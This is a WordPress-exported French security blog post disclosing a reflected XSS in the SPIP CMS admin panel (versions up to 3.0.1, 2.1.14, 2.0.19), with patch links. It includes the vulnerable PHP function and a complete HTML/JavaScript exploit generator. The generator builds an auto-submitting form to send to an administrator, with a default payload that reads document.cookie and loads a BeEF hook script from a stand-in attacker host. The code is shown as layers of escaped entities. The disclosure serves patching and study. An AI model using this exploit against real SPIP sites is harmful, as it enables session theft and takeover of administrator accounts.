{"id":132,"date":"2012-06-13T19:00:37","date_gmt":"2012-06-13T17:00:37","guid":{"rendered":"http:\/\/blog.asafety.fr\/?p=132"},"modified":"2015-11-11T01:39:29","modified_gmt":"2015-11-10T23:39:29","slug":"xss-spip-core","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/xss-spip-core\/","title":{"rendered":"[XSS] SPIP Core <= 3.0.1, 2.1.14, 2.0.19 admin panel"},"content":{"rendered":"<p><\/p>\n<p>Une nouvelle version de SPIP vient de sortir aujourd&#8217;hui, pour chacune des branches du projet. Au menu, de nombreuses am\u00e9liorations, corrections d&#8217;erreurs et des vuln\u00e9rabilit\u00e9s XSS.<\/p>\n<blockquote>\n<p>SPIP est un syst\u00e8me de publication pour l\u2019Internet qui s\u2019attache particuli\u00e8rement au fonctionnement collectif, au multilinguisme et \u00e0 la facilit\u00e9 d\u2019emploi. C\u2019est un logiciel libre, distribu\u00e9 sous la licence GNU\/GPL. Il peut ainsi \u00eatre utilis\u00e9 pour tout site Internet, qu\u2019il soit associatif ou institutionnel, personnel ou marchand.<\/p>\n<\/blockquote>\n<p>ASafety a d\u00e9cel\u00e9 une de ces XSS (non-permanente) et pr\u00e9venu l&#8217;\u00e9quipe en charge du d\u00e9veloppement de SPIP le 07\/06\/2012. Suite \u00e0 quelques \u00e9changes, un patch correctif d\u00e9bouchant sur une nouvelle <em>release<\/em> est sorti ce jour m\u00eame.<\/p>\n<div id=\"attachment_141\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xss1-alert_cookie.png\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-141\" class=\"size-medium wp-image-141\" title=\"Alert(cookie)\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xss1-alert_cookie-300x148.png\" alt=\"Alerte du cookie\" width=\"300\" height=\"148\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xss1-alert_cookie-300x148.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/xss1-alert_cookie.png 904w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-141\" class=\"wp-caption-text\">alert(cookie);<\/p><\/div>\n<p>La vuln\u00e9rabilit\u00e9 concerne le fichier &#8220;\/spip\/ecrire\/inc\/admin.php&#8221;, au niveau de la ligne 176 correspondante \u00e0 la fonction :<\/p>\n<p>[php]function copy_request($script, $suite, $submit=&#8221;)&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n{&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n include_spip(&#8216;inc\/filtres&#8217;);&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt; foreach(array_merge($_POST,$_GET) as $n =&amp;amp;amp;amp;gt; $c) {&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n if (!in_array($n,array(&#8216;fichier&#8217;,&#8217;exec&#8217;,&#8217;validation_admin&#8217;)) AND !is_array($c))&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $suite .= &amp;amp;amp;amp;quot;\\n&amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;$n&#8217; value=&#8217;&amp;amp;amp;amp;quot; .&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n entites_html($c) .&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;quot;&#8217; \/&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n return generer_form_ecrire($script, $suite, &#8221;, $submit);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}[\/php]<\/p>\n<p>Les donn\u00e9es GET et POST sont nettoy\u00e9es \u00e0 partir de la fonction &#8220;entites_html()&#8221;, toutefois le nom de ces valeurs ($n) ne l&#8217;est pas, et est r\u00e9inject\u00e9 au sein du formulaire g\u00e9n\u00e9r\u00e9. Il est ainsi possible de cr\u00e9er un vecteur d&#8217;attaque XSS pour ces noms.<\/p>\n<p>Les navigateurs actuels nettoient et convertissent certains caract\u00e8res des URLs automatiquement. Ainsi, l&#8217;injection de l&#8217;XSS est plus difficile \u00e0 r\u00e9aliser au sein de variables GET. C&#8217;est pourquoi la d\u00e9monstration suivante s&#8217;oriente vers la m\u00e9thode POST. ASafety a cr\u00e9\u00e9 un g\u00e9n\u00e9rateur d&#8217;exploit pour cette XSS. Le code du g\u00e9n\u00e9rateur est le suivant :<\/p>\n<p>[html]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;html&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;head&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;script&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n function trim(s){&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n return s.replace(\/\\r\\n|\\r|\\n|\\t\/g,&#8221;).replace(\/^\\s+\/g,&#8221;).replace(\/\\s+$\/g,&#8221;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt; function encodeToHex(s){&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n var r=&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n var h;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n for(var c=0;c&amp;amp;amp;amp;lt;s.length;c++){&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n h=s.charCodeAt(c).toString(16);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n while(h.length&amp;amp;amp;amp;lt;3) h=&amp;amp;amp;amp;quot;%&amp;amp;amp;amp;quot;+h;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n r+=h;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n return r;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;function generateXSS(){&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n var target = trim(document.getElementById(&amp;amp;amp;amp;quot;target&amp;amp;amp;amp;quot;).value);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n var version = trim(document.getElementById(&amp;amp;amp;amp;quot;version&amp;amp;amp;amp;quot;).value);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n var content = trim(document.getElementById(&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;).value);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n var resultjs = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n resultjs += &amp;amp;amp;amp;quot;&amp;amp;amp;amp;lt;html&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;body&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;&amp;amp;amp;amp;quot; + target + &amp;amp;amp;amp;quot;ecrire\/?exec=&amp;amp;amp;amp;quot; + version + &amp;amp;amp;amp;quot;&#8217; method=&#8217;post&#8217;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n resultjs += &amp;amp;amp;amp;quot;&amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;exec&#8217; value=&#8217;&amp;amp;amp;amp;quot; + version + &amp;amp;amp;amp;quot;&#8217; \/&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n resultjs += &amp;amp;amp;amp;quot;&amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=\\&amp;amp;amp;amp;quot;x&#8217;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;script&amp;amp;amp;amp;gt;eval(unescape(&#8216;&amp;amp;amp;amp;quot; + encodeToHex(content) + &amp;amp;amp;amp;quot;&#8217;));&amp;amp;amp;amp;lt;\\\/script&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;input=\\&amp;amp;amp;amp;quot; value=&#8221; \/&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n resultjs += &amp;amp;amp;amp;quot;&amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;script&amp;amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;amp;lt;\\\/script&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/body&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/html&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n document.getElementById(&amp;amp;amp;amp;quot;resultjs&amp;amp;amp;amp;quot;).value = resultjs;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt; &amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;\/head&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;body onload=&amp;amp;amp;amp;quot;generateXSS();&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;h2&amp;amp;amp;amp;gt;XSS in SPIP Core &amp;amp;amp;amp;amp;lt;=3.0.1 or &amp;amp;amp;amp;amp;lt;=2.1.14 admin panel (base repair)&amp;amp;amp;amp;lt;\/h2&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n This XSS, non-persistent, use POST vars through admin panel.&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n The target is the attribute &amp;amp;amp;amp;quot;name&amp;amp;amp;amp;quot; of an input markup hidden.&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n This XSS work on Firefox 13, IE7, but doesn&#8217;t work on Chrome.&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n Magic_quote_gcp = Off needed.&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;form action=&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot; onsubmit=&amp;amp;amp;amp;quot;generateXSS();return false;&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;table&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;tr&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;td&amp;amp;amp;amp;gt;URL&#8217;s SPIP Targeted :&amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;td&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;input id=&amp;amp;amp;amp;quot;target&amp;amp;amp;amp;quot; type=&amp;amp;amp;amp;quot;text&amp;amp;amp;amp;quot; value=&amp;amp;amp;amp;quot;http:\/\/target\/spip\/&amp;amp;amp;amp;quot; size=&amp;amp;amp;amp;quot;70&amp;amp;amp;amp;quot; onkeyup=&amp;amp;amp;amp;quot;generateXSS();&amp;amp;amp;amp;quot; \/&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/tr&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;tr&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;td&amp;amp;amp;amp;gt;SPIP version :&amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;select id=&amp;amp;amp;amp;quot;version&amp;amp;amp;amp;quot; onchange=&amp;amp;amp;amp;quot;generateXSS();&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;option value=&amp;amp;amp;amp;quot;base_repair&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;3.0.X (up to 3.0.1 included)&amp;amp;amp;amp;lt;\/option&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;option value=&amp;amp;amp;amp;quot;admin_repair&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;2.1.X (up to 2.1.14 included)&amp;amp;amp;amp;lt;\/option&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/select&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/tr&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;tr&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;td&amp;amp;amp;amp;gt;JavaScript code to execute :&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;(without &amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt; &amp;amp;amp;amp;amp; &amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt; markup)&amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;textarea cols=&amp;amp;amp;amp;quot;70&amp;amp;amp;amp;quot; rows=&amp;amp;amp;amp;quot;10&amp;amp;amp;amp;quot; id=&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot; onkeyup=&amp;amp;amp;amp;quot;generateXSS();&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nalert(document.cookie);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar script = document.createElement(&amp;amp;amp;amp;quot;script&amp;amp;amp;amp;quot;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nscript.type = &amp;amp;amp;amp;quot;text\/javascript&amp;amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nscript.src = &amp;amp;amp;amp;quot;http:\/\/ha.ck.er.xxx\/beEf.js&amp;amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\ndocument.body.appendChild(script);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/textarea&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/tr&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;tr&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;td&amp;amp;amp;amp;gt;Exploit to send to an admin : &amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;textarea cols=&amp;amp;amp;amp;quot;70&amp;amp;amp;amp;quot; rows=&amp;amp;amp;amp;quot;10&amp;amp;amp;amp;quot; id=&amp;amp;amp;amp;quot;resultjs&amp;amp;amp;amp;quot; readonly=&amp;amp;amp;amp;quot;readonly&amp;amp;amp;amp;quot;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/textarea&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/td&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/tr&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/table&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;\/body&amp;amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;\/html&amp;amp;amp;amp;gt;[\/html]<\/p>\n<div id=\"attachment_142\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xss0-exploit_generator.png\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-142\" class=\"size-medium wp-image-142\" title=\"G\u00e9n\u00e9rateur d'XSS\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xss0-exploit_generator-300x136.png\" alt=\"G\u00e9n\u00e9rateur d'XSS\" width=\"300\" height=\"136\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xss0-exploit_generator-300x136.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/xss0-exploit_generator.png 833w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-142\" class=\"wp-caption-text\">G\u00e9n\u00e9rateur d&#39;XSS SPIP<\/p><\/div>\n<p>L&#8217;objectif, au travers de ce g\u00e9n\u00e9rateur, est d&#8217;injecter le vecteur XSS au sein de l&#8217;attribut &#8220;name&#8221; de la balise &#8220;input&#8221; g\u00e9n\u00e9r\u00e9e par la fonction pr\u00e9c\u00e9dente. Ainsi, il faut clore convenablement l&#8217;attribut et la balise pour injecter le code de l&#8217;XSS. Les quote et double-quote sont par cons\u00e9quent \u00e0 restreindre au sein du code JS inject\u00e9, d&#8217;o\u00f9 le g\u00e9n\u00e9rateur d&#8217;exploit. A noter que la variable GET permettant l&#8217;acc\u00e8s \u00e0 la page d&#8217;administration vuln\u00e9rable a \u00e9volu\u00e9 au cours des versions de SPIP.<\/p>\n<p>Le g\u00e9n\u00e9rateur pr\u00e9c\u00e9dent lanc\u00e9 au sein d&#8217;un navigateur demande l&#8217;URL du SPIP cible, la version de celui-ci, et le code JS \u00e0 injecter. Le g\u00e9n\u00e9rateur fourni en retour un code automatiquement g\u00e9n\u00e9r\u00e9 qu&#8217;un potentiel attanquant pourrait int\u00e9grer \u00e0 une quelconque page web en ligne.<\/p>\n<p>Par la suite, si un administrateur du SPIP venait \u00e0 aller sur la page de l&#8217;attaquant, le code de l&#8217;XSS serait automatiquement ex\u00e9cut\u00e9.<br \/>\nLes XSS sont des vuln\u00e9rabilit\u00e9s \u00e0 ne pas d\u00e9laisser. Dans cet exemple, il est possible d&#8217;usurper le cookie d&#8217;un administrateur, de sa session, d&#8217;exploiter la puissance du <a title=\"BeEF framework\" href=\"http:\/\/beefproject.com\/\" target=\"_blank\"><em>framework<\/em> BeEF<\/a>, d&#8217;injecter des exploits pour l&#8217;obtention de shell, meterpreter et bien d&#8217;autres possibilit\u00e9s&#8230;<\/p>\n<div id=\"attachment_143\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xss2-source_xssed_alert_cookie.png\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-143\" class=\"size-medium wp-image-143\" title=\"Source Firefox 13 avec XSS inject\u00e9e\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xss2-source_xssed_alert_cookie-300x126.png\" alt=\"Source\" width=\"300\" height=\"126\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/xss2-source_xssed_alert_cookie-300x126.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/xss2-source_xssed_alert_cookie-1024x432.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/xss2-source_xssed_alert_cookie.png 1280w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-143\" class=\"wp-caption-text\">Source inject\u00e9e<\/p><\/div>\n<p>Cette vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 test\u00e9e avec succ\u00e8s sur Firefox 13 mais s&#8217;av\u00e8re non-fonctionnelle sous Chrome, et n\u00e9cessite la directive &#8220;magic_quote_gcp&#8221; d&#8217;Apache de d\u00e9sactiv\u00e9e.<\/p>\n<p>Nous vous invitons donc sans plus attendre \u00e0 corriger cette faiblesse en mettant \u00e0 jour votre version de SPIP via les modifications suivantes :<\/p>\n<ul>\n<li><a title=\"Branche 3.0.X\" href=\"http:\/\/core.spip.org\/projects\/spip\/repository\/revisions\/19560\" target=\"_blank\">SPIP 3.0.X<\/a>\u00a0(mise \u00e0 jour vers 3.0.2)<\/li>\n<li><a title=\"Branche 2.1.X\" href=\"http:\/\/core.spip.org\/projects\/spip\/repository\/revisions\/19559\" target=\"_blank\">SPIP 2.1.X<\/a>\u00a0(mise \u00e0 jour vers 2.1.15)<\/li>\n<li><a title=\"Branche 2.0.X\" href=\"http:\/\/core.spip.org\/projects\/spip\/repository\/revisions\/19558\" target=\"_blank\">SPIP 2.0.X<\/a>\u00a0(mise \u00e0 jour vers 2.0.20)<\/li>\n<\/ul>\n<p>Ou bien d&#8217;utiliser la derni\u00e8re version <a title=\"SPIP\" href=\"http:\/\/www.spip.net\" target=\"_blank\">t\u00e9l\u00e9chargeable ici<\/a> !<\/p>\n<p>Beaucoup de CMS et d&#8217;applications web ont acquis les m\u00e9canismes de s\u00e9curisation de leur donn\u00e9es entrantes (<em>sanitization<\/em>). La plupart appliquent des proc\u00e9d\u00e9s de nettoyage afin de se prot\u00e9ger de telles attaques. Or il est courant de voir les noms des variables, \u00e0 d\u00e9faut des valeurs, ne pas \u00eatre s\u00e9curis\u00e9s.<\/p>\n<p>Nous remercions l&#8217;\u00e9quipe de SPIP pour leur r\u00e9activit\u00e9 et pour le maintien de cet outil !<\/p>\n<p><strong>Cr\u00e9dits : x@s<\/strong><\/p>\n<p>Liens connexes :<\/p>\n<ul>\n<li><a title=\"Vigil@nce\" href=\"http:\/\/vigilance.fr\/vulnerabilite\/SPIP-deux-Cross-Site-Scripting-11705\" target=\"_blank\">Vigil@nce<\/a><\/li>\n<li><a title=\"PacketStormSecurity\" href=\"http:\/\/packetstormsecurity.com\/files\/113669\/SPIP-Core-3.0.1-2.1.14-2.0.19-Cross-Site-Scripting.html\" target=\"_blank\">PacketStormSecurity<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Une nouvelle version de SPIP vient de sortir aujourd&#8217;hui, pour chacune des branches du projet. Au menu, de nombreuses am\u00e9liorations, [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1199,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[52,48,45,50,46,51,49,47,44,43,55,54,53],"class_list":["post-132","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vuln-exploit-poc","tag-admin-panel","tag-beef","tag-exploit","tag-firefox","tag-get","tag-magic_quote_gcp","tag-poc","tag-post","tag-sanitize","tag-spip","tag-spip-2-0-20","tag-spip-2-1-15","tag-spip-3-0-2"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/132","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=132"}],"version-history":[{"count":30,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/132\/revisions"}],"predecessor-version":[{"id":1648,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/132\/revisions\/1648"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1199"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=132"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=132"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=132"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}